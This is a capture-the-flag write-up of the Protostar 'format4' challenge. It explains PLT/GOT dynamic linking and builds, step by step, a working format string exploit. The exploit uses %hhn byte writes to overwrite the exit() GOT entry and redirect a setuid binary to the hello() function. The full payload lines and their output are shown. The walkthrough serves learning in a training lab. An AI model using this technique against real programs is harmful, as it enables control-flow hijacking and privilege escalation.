This challenge looks at how to redirect program execution from shared libraries' functions.
In this case we can't:
- change
rip
because exit()
is called before
- buffer overflow because
fgets()
But we see a exit()
function. This function doesn't come from the source code, so it does from the libc
.
Doing a file
on the file gives:
format4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
ldd
gives:
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)
So we have a little bit more information about the binary.
Ok let's get started.
The dynamic linking process is handled by some magic from the linker: ld
.
When gcc
compiles with shared libraries, it doesn't really know what the address of those functions are. So it assignes them in the .plt
section.
The .plt
section is then mounted in the data segment
.
Whenever a shared function is called, its address points to the .plt
which then will call some generic call from the linker.
The linker then patches the right function from the shared library to some offset in the .got
section.
Finally the linker will replace all that computation with the direct call from .got.plt
to .got
for next time it is called.
Now that we know more, the goal seems a little bit clearer: let's replace the address in the .got.plt
section with another function so everytime exit()
is called, it will indirect jump to our address.
The instructions says to use objdump -TR
, so let's try that:
format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 DF *UND* 00000000 GLIBC_2.0 exit
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049724 R_386_JUMP_SLOT exit
As you can see, there is a symbol for exit
from GLIBC_2.0
. The address of exit
is 0x08049724
which is indeed in the .got.plt
section as readelf -S
shows us:
[23] .got.plt PROGBITS 08049700 000700 000028 04 WA 0 0 4
One more thing to do before getting our hands dirty: finding the address of hello
:
$ objdump -t format4 | grep hello
080484b4 g F .text 0000001e hello
Ok now I think we've got everything we want:
Write 0x080484b4
to 0x08049724
. Easy right?
Looking back at format3
, I've used the %hn
modifier to write a short int and wrote twice: once at the address and the other at the address + 2.
I've also used the help of the env to have %n
get the destination's address.
Here we are going to use a different technique:
- Use the printf string to inject addresses
- Use
%hhn
to write only 1 byte
If we are going to write only 1 byte we need 4 addresses:
0x08049724
: 0xb4
: 180
0x08049725
: 0x84
: 132
0x08049726
: 0x04
: 4
0x08049727
: 0x08
: 8
Let's apply the same core idea of format3
but changing tricks: we'll know write the target address directly to printf()
.
So let's say we do that:
python -c 'print "AAAA-" + "%08x-"*15' | ./format4
AAAA-00000200-b7fd8420-bffff624-41414141-78383025-3830252d-30252d78-252d7838-2d783830-78383025-3830252d-30252d78-252d7838-2d783830-78383025-
As you can see, our AAAA
are located 24 bytes -- 3*8
-- after the arguments of printf()
. So the trick here is to write the address first and then jump to it.
Remember that all modifier except %n
pop an argument from the stack. Here %x
will advance the pointer to 8 byte each time.
Ok so let's start by writing the first byte to our target address.
I started choosing bytes by numeric order but then I quickly realized that it didn't matter, we will see later why.
Let's start by writing the value 4
to 0x08049726
:
python -c 'print "\x26\x97\x04\x08%4$hhn"' | ./format4
That's cool because our address is 4 bytes so it is the right number.
Onto the next byte: value 8
to 0x08049727
.
We know that we already wrote 4 bytes, our new address is again 4 bytes, so that's going to be 8 bytes written! Perfect!
HOLD ON: we also know that we have to respect padding: the payload we inject is 10 bytes long, so our address will be cut in 2. We need to write the address at the 12th byte. So we need to write to extra junk bytes AA
will do. But wait, now we would have written 10 bytes so the value 10 will be written to the address, it's more than 8!
That's when I realized that the order didn't really matter.
Remember we are writing an unsigned char
so between 0x00
and 0xff
. What happen we try to write 256
to the target address? Well it works like a clock: it's mod 12. Meaning that 13 is also 1. So 0x100
will be 0x00
!
Here's the formula:
(targetByte + 0x100) - (byteWritten)
Applying it to our use case:
>>> (8+0x100) - (4+2+4)
254
We now know that we have to write an extra 254 bytes:
python -c 'print "\x26\x97\x04\x08%4$hhnAA\x27\x97\x04\x08%254c%7$hhnA"' | ./format4
Onto the next byte. Same thing, padding to place the address, padding to update the value:
>>> (132+0x100) - (4 + 2 + 4 + 254 + 4 + 1)
119
python -c 'print "\x26\x97\x04\x08%4$hhnAA\x27\x97\x04\x08%254c%7$hhnA\x25\x97\x04\x08%119c%11$hhn"' | ./format4
Finally:
>>> (0xb4+0x100) - (4 + 2 + 4 + 254 + 4 + 1 + 119 + 4)
44
user@protostar:/opt/protostar/bin$ python -c 'print "\x26\x97\x04\x08%4$hhnAA\x27\x97\x04\x08%254c%7$hhnA\x25\x97\x04\x08%119c%11$hhn\x24\x97\x04\x08%44c%15$hhn"' | ./format4
AA A $
code execution redirected! you win
Bingo!
I've seen people not using the $
to target special argument, which you have to play with poping arguments instead of targeting arguments, next time will definitevely try.